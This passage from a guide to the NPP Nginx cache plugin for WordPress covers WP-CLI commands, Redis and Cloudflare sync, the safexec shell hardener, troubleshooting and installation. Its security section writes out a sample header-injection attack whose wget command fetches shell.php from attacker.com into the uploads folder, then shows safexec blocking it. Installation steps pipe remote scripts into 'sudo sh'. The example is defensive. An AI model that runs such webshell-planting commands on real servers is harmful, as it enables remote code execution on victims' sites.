empty $nppp_limit_keyNginx ignores limit_req for all non-NPP traffic — zero overhead on normal page requests
Why not a simpler limit_req_zone $binary_remote_addr zone=...rate=...? A blanket rate limit on the PHP location would throttle all PHP traffic — including legitimate concurrent visits during a traffic spike. The map-key approach is surgical: only NPP API calls are governed, everything else passes through at full speed.

WP-CLI Integration: Full Cache Management from the Terminal

Dashboard buttons are fine for one-off operations. For deployments, CI/CD pipelines, headless hosting panels, post-migration cleanup scripts, and any automation that needs to touch the cache without opening a browser — you need CLI access. NPP v2.1.7 added full WP-CLI integration with 10 dedicated subcommands covering every core operation.

# Full-site cache purge
wp npp purge

# Purge a single URL — outputs only the outcome token for shell scripting
wp npp purge --page-url=https://example.com/shop/ --porcelain

# Full-site preload — spawns wget crawl in background, returns immediately
wp npp preload

# Preload a single URL
wp npp preload --page-url=https://example.com/about/

# Kill a running preload without touching the cache
wp npp preload --stop

# Runtime status — table, json, yaml, or csv output
wp npp status --format=json

# Tail the operation log (last 50 lines)
wp npp log --lines=50

# Clear the log
wp npp log --clear

# Inspect all current settings as JSON
wp npp settings get --format=json

# Update a single setting
wp npp settings set nginx_cache_path /var/cache/nginx/fastcgi

# Reset a setting to plugin default (useful after upgrading)
wp npp settings-reset nginx_cache_reject_regex

# Schedule a daily preload at 03:00
wp npp schedule-set --freq=daily --time=03:00

# Cancel scheduled preload
wp npp schedule-set --cancel

# List active NPP cron events
wp npp schedule

# Clear URL→filepath index after moving cache directory
wp npp index-clear

# Flush NPP transients after installing ripgrep, safexec, or wget
wp npp flush
SubcommandDescriptionNotable flags
wp npp purgePurge entire cache or a single URL--page-url=<url>, --dry-run, --porcelain
wp npp preloadFull-site crawl or single URL; stop a running job--page-url=<url>, --stop, --dry-run
wp npp statusRuntime status summary--format=table|json|yaml|csv
wp npp logTail or clear the operation log--lines=<n>, --clear
wp npp settings get/setRead or update any plugin setting--format=json, --pretty
wp npp settings-resetReset a setting to plugin defaultSetting key as argument
wp npp flushClear all NPP transientsRun after path changes or binary installs
wp npp index-clearClear the URL→filepath indexRun when cache path changes
wp npp scheduleList active NPP cron events
wp npp schedule-setConfigure or cancel scheduled preload--freq=daily|weekly, --time=HH:MM, --cancel
Destructive commands support --dry-run for safe inspection before committing. --porcelain on purge and preload outputs a clean single token (SUCCESS or FAILED) — ideal for shell script conditionals and CI/CD step gates.

Practical CI/CD pattern: call wp npp purge --porcelain in your deploy hook, check the exit code, then trigger wp npp preload to warm the cache immediately after deploy — all without touching the WordPress admin.

Cloudflare APO + Redis Object Cache: Keeping All Layers in Sync

A common production stack adds two more caching layers on top of Nginx: Cloudflare APO at the edge and Redis Object Cache for database queries. Both operate independently by default — purging Nginx doesn't touch either of them.

Cloudflare APO Sync

When Cloudflare APO Sync is enabled in NPP, every purge operation is automatically mirrored to Cloudflare's edge cache. Single-URL purges send a batch of up to 30 URLs per API call (the page plus its related URLs). Purge All triggers a zone-wide cache wipe. If your Cloudflare config has Cache By Device Type enabled, NPP sends a second purge pass with the CF-Device-Type: mobile header to clear mobile-specific cached variants.

Requirements: the official Cloudflare WordPress plugin must be installed, active, and authenticated. NPP reads its credentials directly — no API keys to enter in NPP itself.

Redis Object Cache Sync — and the Loop Prevention Problem

With Redis Object Cache Sync enabled, NPP flushes Redis at the right moment in the purge+preload chain: after Purge All, before Preload All. This ensures that when wget fetches each page during preload, PHP is hitting the database fresh rather than returning stale object cache entries into the newly warmed Nginx cache.

The bidirectional part: when the Redis Object Cache drop-in fires a flush event from outside NPP — through the plugin's dashboard button, wp cache flush via WP-CLI, or any plugin calling wp_cache_flush() — NPP automatically triggers a full Nginx purge. Fresh Redis means Nginx's cached PHP output may now be stale too.

Without loop prevention, this creates an infinite cascade: NPP purges Nginx, which flushes Redis, which fires NPP again, which flushes Redis… NPP guards this with a $GLOBALS['NPPP_REDIS_FLUSH_ORIGIN'] flag set before each cascade direction, checked at both entry points. The flag is also automatically cleared if Redis goes offline during a request cycle.

Purge only (no preload) never flushes Redis. Redis stays warm between a purge and the next preload, so any PHP requests served during that window still benefit from cached database queries. Redis is only flushed immediately before a preload operation — that's the only moment where fresh database data actually matters.

Percent-Encoded URL Cache Misses on Non-ASCII Sites

Sites with non-ASCII URLs — Chinese, Arabic, Cyrillic, Japanese product slugs, for example — face a specific cache miss pattern. The URL /product/水滴轮锻碳/ becomes percent-encoded in HTTP requests, and that encoding can be either uppercase (%E6%B0%B4) or lowercase (%e6%b0%b4) depending on the client or proxy. Nginx's cache key is case-sensitive — these hash to different files.

NPP addresses this two ways:

  • safexec + libnpp_norm.so (recommended): an LD_PRELOAD shim that normalizes percent-encoding in HTTP request lines during preloading — ensuring NPP's preloader stores cache entries with the same encoding case that real browsers will use
  • mitmproxy: a "man-in-the-middle" proxy between NPP's wget and Nginx that rewrites encoding case on the fly, configurable from the NPP Preload Options settings page

Security: safexec and Why shell_exec Needed a Bouncer

NPP makes extensive use of shell_exec — it's how the preload engine launches wget, how RG Purge runs rg, how the Watchdog monitors the process PID. Unrestricted shell_exec in a WordPress plugin is an attack surface. CVE-2025-6213 demonstrated exactly this: unsanitized shell calls in cache plugins could be exploited to achieve arbitrary command execution through injected HTTP headers.

safexec is a hardened C binary (SUID) that sits between PHP and the shell. Every shell operation NPP performs goes through it. What it enforces:

  • Strict allowlist — only wget, rg, ps, and a handful of known-safe binaries can execute through safexec
  • Absolute path pinning — the tool is resolved to a trusted system directory; argv[0] is rewritten before exec()
  • Privilege drop — runs the child process as nobody; aborts if euid == 0 at runtime
  • Environment wipeclearenv() before exec, then sets only a trusted PATH, applies umask(077) and PR_SET_DUMPABLE(0)
  • Process isolation — places the child in its own cgroup v2 subtree; rlimits fallback on systems without cgroup v2
  • PR_SET_NO_NEW_PRIVS(1) — the child process can never regain elevated privileges after exec()

A concrete attack — before and after safexec

## Before safexec — injected header exploits an unsanitized shell_exec call
curl -H "Referer: http://attacker.com/shell.php" \
     https://yoursite.com/wp-json/nppp_nginx_cache/v2/preload

# Shell command that runs on the server:
wget http://attacker.com/shell.php \
  -O /var/www/html/wp-content/uploads/shell.php

# Result: web-accessible PHP shell planted at /uploads/shell.php → RCE
## After safexec — same exploit attempt
safexec wget http://attacker.com/shell.php \
  -O /var/www/html/wp-content/uploads/shell.php

Info: pinned tool 'wget' -> '/usr/bin/wget'
Info: using cgroup v2 child /sys/fs/cgroup/nppp/nppp.1397159
Summary: user=65534:65534 (nobody) no_new_privs=on
/var/www/html/wp-content/uploads/shell.php: Permission denied

# safexec dropped to nobody — cannot write to /uploads/
# Webshell never lands. Attack fails.
# One-liner (all supported distros)
curl -fsSL https://psaux-it.github.io/install-safexec.sh | sudo sh

# Debian / Ubuntu amd64
wget https://github.com/psaux-it/nginx-fastcgi-cache-purge-and-preload/releases/latest/download/safexec_latest_amd64.deb
sudo apt install ./safexec_latest_amd64.deb

# RHEL / Fedora / Rocky amd64
wget https://github.com/psaux-it/nginx-fastcgi-cache-purge-and-preload/releases/latest/download/safexec-latest.x86_64.rpm
sudo dnf install ./safexec-latest.x86_64.rpm

# Alpine Linux
wget https://github.com/psaux-it/nginx-fastcgi-cache-purge-and-preload/releases/latest/download/safexec-latest.x86_64.apk
sudo apk add --allow-untrusted ./safexec-latest.x86_64.apk

# Verify
safexec --version
safexec is optional — NPP falls back to running as the PHP-FPM user if it's not installed. But on any internet-facing production server it should be considered mandatory. The fallback mode works; it just doesn't provide the process isolation, privilege drop, or allowlist enforcement that make NPP's shell operations genuinely hardened.

Troubleshooting: The 12 Most Common Issues

SymptomMost likely causeWhere to check / fix
High cache MISS rate despite preloading runningBlanket if ($query_string != "") rule in Nginx configReplace with the map-based $skip_cache_query approach; use "Reset Default" on Exclude Endpoints in Settings → Preload Options to activate NPP v2.1.7 surgical defaults
Plugin tabs disabled, warnings on Status tabNginx not detected, or running on a non-Nginx stackAdd define('NPPP_ASSUME_NGINX', true); to wp-config.php for reverse-proxy or jailed setups; or bind-mount /etc/nginx/nginx.conf into the container/jail
ERROR COMMAND: Preloading failedopen_basedir blocking wget or binary pathsStatus tab → look for OPEN_BASEDIR warning; extend open_basedir in your PHP-FPM pool config with all required paths
Purge runs but cache files aren't deletedPHP-FPM-USER lacks write access to cache directoryRun install.sh to set up bindfs, or manually configure bindfs + update NPP's Nginx Cache Directory setting to the mount path
Cache is warmed but visitors still get missesVary: Accept-Encoding variant hash splitSet zlib.output_compression = Off in php.ini; add fastcgi_param HTTP_ACCEPT_ENCODING "" and fastcgi_ignore_headers Vary to Nginx PHP block
Visitors receiving other users' cookies from cached pagesSet-Cookie headers stored inside cached responsesAdd if ($skip_cache = 0) { more_clear_headers "Set-Cookie*"; } to the PHP location block; requires ngx_http_headers_more_filter_module
REST API returns rest_no_route 404Nginx → Apache proxy stripping Authorization headerAdd proxy_set_header Authorization $http_authorization in Nginx; add RewriteRule ^ - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] in Apache Directory block
Advanced tab takes 20+ seconds to loadPHP recursive scan over a large FUSE-mounted cacheInstall ripgrep (>= v14.0.0: apt install ripgrep) and safexec; NPP detects and uses both automatically
WooCommerce product pages show stale stock after ordersStock updates bypassing wp_update_post()Enable Auto Purge in NPP settings; NPP hooks into WooCommerce stock events directly
RG Purge toggle shows "Unavailable"rg binary not installed or below v14.0.0Run apt install ripgrep (ensure version ≥ 14.0.0), then refresh the NPP settings page
Post-preload tasks never run (email, index rebuild)WP-Cron not firing on fully-cached siteEnable Preload Watchdog in NPP settings
Cache Coverage gauge shows N/ANo completed Preload All run yetRun a full Preload All once; the snapshot only writes on successful completion. Use the refresh button on the gauge after running.

Status Tab Utilities: Clear Plugin Cache vs Clear URL Index

Two buttons on the Status tab get confused with each other. They do very different things.

Clear Plugin Cache

NPP caches expensive server-side detection results — Nginx binary detection, nginx.conf parsing, PHP-FPM permission checks, cache path validation — as WordPress transients. These are normally refreshed automatically, but stale values can linger after you make server-side changes. Clear Plugin Cache discards these transients so the Status tab re-reads everything fresh on next load.

When to use it: after changing nginx.conf, after running install.sh, after changing PHP-FPM pool settings, after installing ripgrep or safexec, or any time the Status tab shows values that don't match your current server state.

Clear URL Index

This deletes the URL→filepath index that enables instant single-page purges. Use it only when the index contains stale data — after moving the cache directory, after changing the fastcgi_cache_key format, or after manually deleting and recreating the cache directory. After clearing, the next Preload All or Advanced tab visit rebuilds it automatically from a fresh scan. Don't clear it routinely — you're just forcing fallback to the slower recursive scan until the index rebuilds.

Zero Overhead on Every Frontend Request

One concern with any WordPress plugin that hooks into server operations is the overhead it adds to every page request. NPP is designed to be completely dormant on unauthenticated requests. The bootstrap gate is tight:

// Simplified entry point gate
add_action('init', function() {
    if (!is_admin())          return;  // not admin page → dormant
    if (!is_user_logged_in()) return;  // not logged in → dormant

    if (current_user_can('manage_options')) {
        nppp_load_bootstrap();         // full UI + hooks
        return;
    }
    if (current_user_can('nppp_purge_cache')) {
        nppp_load_bootstrap();         // auto-purge hook only
    }
});

On every frontend request — the millions of page loads that Nginx serves directly from cache — NPP's bootstrap never runs. REST API endpoints and WP-Cron events follow the same narrow-gate pattern. The plugin's footprint in production is essentially zero on anything that isn't an admin action.

What Sets NPP Apart from Other Nginx Cache Plugins

Most Nginx cache plugins for WordPress cover the basics: purge via ngx_cache_purge and a filesystem fallback. NPP was built specifically to solve the problems those plugins leave open — particularly the two-user permission problem that made filesystem purge unreliable in the first place.

FeatureTypical PluginNPP
Multi-user environments (WEBSERVER-USER ≠ PHP-FPM-USER)❌ Not solved — filesystem purge fails silently✅ bindfs + safexec — the founding reason NPP was built
Cache preloading after purge❌ No — cache left cold✅ wget-based crawler, rate-limited, CPU-limited, mobile pass included
Map-based cache exclusion architecture❌ Blanket if ($query_string) — invisible gaps✅ 5-map approach: path, query-param, cookie, cart, XHR — surgical exclusion with production-tested regexes
Cookie leakage prevention❌ No — Set-Cookie headers can pollute cached responsesmore_clear_headers "Set-Cookie*" on cacheable responses — guided configuration provided
NPP REST API rate limiting❌ No — API unprotected at Nginx layer✅ Map-based rate limiting: per-IP, NPP endpoints only, zero overhead on non-NPP traffic
URL→filepath index❌ No✅ Built during preload, updated by write-back — skips directory scan entirely
RG Purge (ripgrep acceleration)❌ No✅ Reduces large-cache purge from 30–60s to 1–2s
Cloudflare APO sync❌ No✅ Mirrors every purge to edge cache automatically
Redis Object Cache bidirectional sync⚠️ One direction at best✅ Full bidirectional with loop prevention
WooCommerce stock update purge❌ Misses direct DB stock writes✅ Hooks into WooCommerce stock events directly
WP-CLI integration❌ No✅ 10 subcommands — purge, preload, status, log, settings, schedule, index-clear; --dry-run and --porcelain flags for CI/CD
Preload All MISS (targeted gap-filling)❌ No✅ Crawls only uncached URLs — no purge, fraction of cost of full preload
RSS / Atom feed preloading❌ Feeds excluded or inconsistent✅ Main feed, per-post comment feeds, taxonomy feeds — all first-class preload targets
Surgical query-string preload coverage❌ Blanket query-string exclusion — invisible cache gaps✅ Named-parameter denylist — only genuinely dynamic params excluded; benign query strings warmed
Nginx Cache Analyzer❌ No visibility into HIT/MISS state✅ Full HIT/MISS dashboard from last preload snapshot; purge or preload individual entries directly from the Advanced Tab
REST API for external purge/preload triggers❌ No✅ Full API with Bearer token and X-Api-Key auth
Shell operation security❌ Unguarded shell_exec✅ safexec — privilege drop, allowlist, process isolation
Scheduled cache warming❌ No✅ Custom WP-Cron scheduler with interval and time picker
Cache Coverage Ratio dashboard gauge❌ No✅ Live % of known URLs currently in cache
fastcgi_cache_background_update guidance❌ Not documented✅ Included in reference configuration — eliminates stale-expiry cold hits alongside preloading

Getting Started: Quick Installation Path

  1. Install the plugin — available on the WordPress.org plugin directory. Search "Nginx Cache Purge Preload" or install via WP-CLI: wp plugin install fastcgi-cache-purge-and-preload-nginx --activate
  2. Load required Nginx modules — add to the top of nginx.conf:
    load_module modules/ngx_http_cache_purge_module.so;
    load_module modules/ngx_http_headers_more_filter_module.so;
    Both are in nginx-extras on Debian/Ubuntu.
  3. Adopt the map-based cache exclusion architecture — replace the blanket if ($query_string != "") rule with the five-map approach from the "Production-Ready Cache Exclusion" section. Use "Reset Default" on Exclude Endpoints in Settings → Preload Options to activate matching NPP defaults.
  4. Fix the Vary header issue — set zlib.output_compression = Off in php.ini; add fastcgi_param HTTP_ACCEPT_ENCODING "" and fastcgi_ignore_headers Vary to your Nginx PHP location block.
  5. Add fastcgi_cache_background_update on to your PHP location block to eliminate cold hits on TTL expiry.
  6. Prevent cookie leakage — add if ($skip_cache = 0) { more_clear_headers "Set-Cookie*"; } to the PHP location block.
  7. Add NPP API rate limiting — add the $nppp_limit_key map and limit_req_zone to your http {} block; add limit_req zone=nppp_api burst=5 nodelay; to the PHP location block.
  8. Handle permissions — if your WEBSERVER-USER and PHP-FPM-USER are different: sudo bash -c "$(curl -Ss https://psaux-it.github.io/install.sh)"
  9. Install safexeccurl -fsSL https://psaux-it.github.io/install-safexec.sh | sudo sh
  10. Install ripgrepapt install ripgrep (minimum v14.0.0; NPP enforces this and flags outdated binaries in the Status tab)
  11. Reload Nginx and PHP-FPMnginx -t && systemctl reload nginx && systemctl reload php8.x-fpm
  12. Configure NPP — Settings → NPP Settings: set your Nginx Cache Directory path, enable Auto Purge, enable Auto Preload, enable RG Purge, enable Preload Watchdog, enable Preload Feeds if applicable.
  13. Run first Preload All — Dashboard widget → Preload button, or via CLI: wp npp preload. The live progress stream shows URL, 404 count, server load, elapsed time. When complete, the Cache Coverage gauge updates automatically.
  14. Check the Status tab — confirm Nginx is detected, rg (v14+) and safexec are detected, no OPEN_BASEDIR warning, no permission warnings.
  15. Use Preload All MISS for subsequent top-ups — once cache coverage exceeds 50%, use Preload All MISS in the Advanced Tab instead of full Preload All for routine maintenance.
If you're on a Docker setup: skip install.sh and use the dedicated Docker Compose environment at github.com/psaux-it/wordpress-nginx-cache-docker. The install.sh script is monolithic-server only — it won't find PHP-FPM and Nginx in separate containers.

Leave a Reply

Your email address will not be published. Required fields are marked *

Post comment